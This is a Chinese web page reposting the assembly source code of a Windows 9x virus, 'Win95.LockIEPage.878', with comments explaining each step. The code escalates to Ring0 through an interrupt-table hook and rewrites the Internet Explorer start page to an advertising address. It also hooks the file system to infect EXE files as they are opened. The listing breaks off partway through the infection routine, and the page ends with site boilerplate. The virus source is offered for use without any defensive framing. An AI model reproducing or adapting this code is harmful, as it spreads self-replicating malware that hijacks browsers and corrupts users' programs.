Win9x病毒--Win95.LockIEPage.878原代码

2008-04-09 04:00:04来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Win9x病毒--Win95.LockIEPage.878原代码

Author: whg
Email: whg@whitecell.org
Homepage:http://www.whitecell.org

include win32v.inc
extrn ExitProcess: proc
.586p
.model flat,stdcall
.data
@@Start:
pushad
push eax
sidt [esp-2] ;保存Idt基地址
pop esi ;弹出Idt基地址
add esi,3*8 ;得到中断03的线形地址指针
mov ecx,[esi]
mov edx,[esi 4] ;保存中断03的线形地址
call @@SetMyInt03
@@MyInt03: ;我的中断03 Ring0程序
pushad
mov [esi],ecx
mov [esi 4],edx ;恢复中断03的线形地址
mov eax,dr3 ;我用dr3做病毒标志
mov ecx,VirusFlag
@@IsInstalled:
cmp eax,ecx
jz @@ExitHook
mov dr3,ecx ;设置病毒标志
call @@SetVxdCall ;填写VXDCALL指令(Int 20h)
@@SetVxdCallOk:
push eax
push esp
call @@PushPathNameAddr
PathName db 'SoftWare\MicroSoft\Internet Explorer\Main',0
@@PushPathNameAddr:
push 80000001h
@@RegOpenKey:
int 20h ;打开注册表一个Key
dd 00010148h ;VMMCall_RegOpenKey
add esp,3*4
pop ebp
or eax,eax
jnz short @@OpenRegKeyError
push 040h
call @@PushHttpNameAddr
HttpName db 'http://202.115.16.8/~ekang',0 ;这是广告网页
@@PushHttpNameAddr:
push 01h
push 00h
call @@PushValueNameAddr
ValueName db 'Start Page',0
@@PushValueNameAddr:
push ebp
@@RegSetValueEx:
int 20h ;设置IE Start Page页面为我的广告网址
dd 00010152h ;VMMCall_RegSetValueEx
add esp,6*4
push ebp
@@RegCloseKey:
int 20h ;关闭注册表句柄
dd 00010149h ;VMMCall_RegCloseKey
add esp,1*4
@@OpenRegKeyError:
push L 0fh
push L 00
push L -1
push L 00
push L 00
push L 00
push L 01
push L 02
@@AllocPage:
int 20h ;为病毒连接一个挂接页(大小=1000h)
dd 00010053h ;VMMCall_AllocPage
add esp,8*4
or eax,eax
jz short @@ExitHook ;连接失败
mov edi,eax
call @@GetVirusStartAddr
@@GetVirusStartAddr:
pop esi
sub esi,OFF @@GetVirusStartAddr-OFF @@Start
mov ecx,VirusSize
cld
rep movsb ;将病毒搬移到Ring0页内
mov edi,eax
add eax,OFF @@MyFileHookApi-OFF @@Start
push eax
@@HookFileApi:
int 20h ;挂接文件系统
dd 00400067h ;VMMCall_HookFileSystem
add esp,04h
mov [edi OFF OldFileHookApi-@@Start],eax
@@ClsOptFlag:
xor eax,eax ;清除重入标志
mov [edi.OFF OptFlag-OFF @@Start],eax
@@ExitHook:
popad
iretd ;返回到Ring3继续,标号@@Ring3GoOn
@@SetMyInt03:
cli
pop W[esi]
pop W[esi 6] ;修改中断03的线形地址
int 03 ;进入Ring0标号@@MyInt03
@@Ring3GoNo:
sti
popad
MoveToEax db 0b8h
OldAppEntry dd OFF @@Exit
jmp eax ;跳去执行原程序
;IFSFileHookFunc(pIFSfn,nfn,nDrv,nRType,nCP,pir);
@@MyFileHookApi:
pushad
mov ebp,esp
push ds
push es
push ss
pop ds
push ss
pop es ;设置数据段
cmp D[ebp (8 1 1)*4],36 ;是否打开文件调用?
jnz short @@OldFileHookApi
call @@GetPathName
@@OldFileHookApi:
pop es
pop ds
popad
JmpMem dw 25ffh ;跳到原文件挂接函数运行
OldFileHookApi dd ?
OptFlag dd 00h
@@GetPathName:
pop esi
push esi ;Push Back Addr
@@IsOptFlagSet:
add esi,OFF OptFlag-OFF @@OldFileHookApi
mov ecx,VirusFlag
cmp [esi],ecx ;是否重入?
jz short @@RetOldHookApi
@@SetOptFlag:
mov [esi],ecx ;设置重入标志
add esi,OFF FilePathBuffer-OFF OptFlag
mov edi,esi
mov eax,[ebp (8 1 2)*4];Get nDriver(1=A;2=B,3=C...)
add ax,':A'-1
cld
stosw ;构造Ansi路径名
mov esi,[ebp (8 1 5)*4];Get ioreq
mov eax,[esi 0ch];Get UniCode PathName Addr
add eax,04h
push L 0
push L 100h
push eax
push edi
@@UniToBCSPath:
Int 20h ;继续构造Ansi路径名
dd 00400041h ;VMMCall_UniToBCSPath
add esp,4*4
or eax,eax
jz short @@ClearOptFlag
mov eax,[edi eax-4]
not eax
cmp eax,not ('EXE.') ;是EXE文件吗?
jnz short @@ClearOptFlag
call @@OptFile
@@ClearOptFlag:
pop esi
push esi ;Push Back Addr
add esi,OFF OptFlag-OFF @@OldFileHookApi
xor eax,eax
mov [esi],eax ;清除重入标志
@@RetOldHookApi:
ret
@@OptFile: ;以下是修改PE文件,将病毒复在原文件尾
mov esi,edi
dec esi
dec esi
mov ebp,esi ;保存FilePathName地址在ebp中
mov eax,4300h
call @@FileIo ;IFSCall_FileIo 得到文件属性
jc @@OpenFileFalse
push ecx ;保存文件属性
xor ecx,ecx
mov eax,4301h
call @@FileIo ;IFSCall_FileIo 将文件属性设为0
xor eax,eax
mov edx,eax
inc edx
mov ebx,edx
inc ebx
mov ax,0d500h
call @@FileIo ;IFSCall_FileIo 打开文件
pop ecx ;弹出文件属性
pushfd ;保存标志
push eax ;保存文件Ring0句柄
mov eax,4301h
call @@FileIo ;IFSCall_FileIo 设置文件属性,恢复文件属性
pop ebx ;弹出文件Ring0句柄
popfd
jc @@OpenFileFalse
@@GetReadFileBuffer:
add esi,size FilePathBuffer
mov ecx,size ReadFileBuffer
xor edx,edx
mov eax,0d600h ;IFSCall_FileIo 读文件
call @@FileIo

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:利用汇编发送无需认证的eMail

下一篇:编写感染COM与EXE文件的病毒的样例程序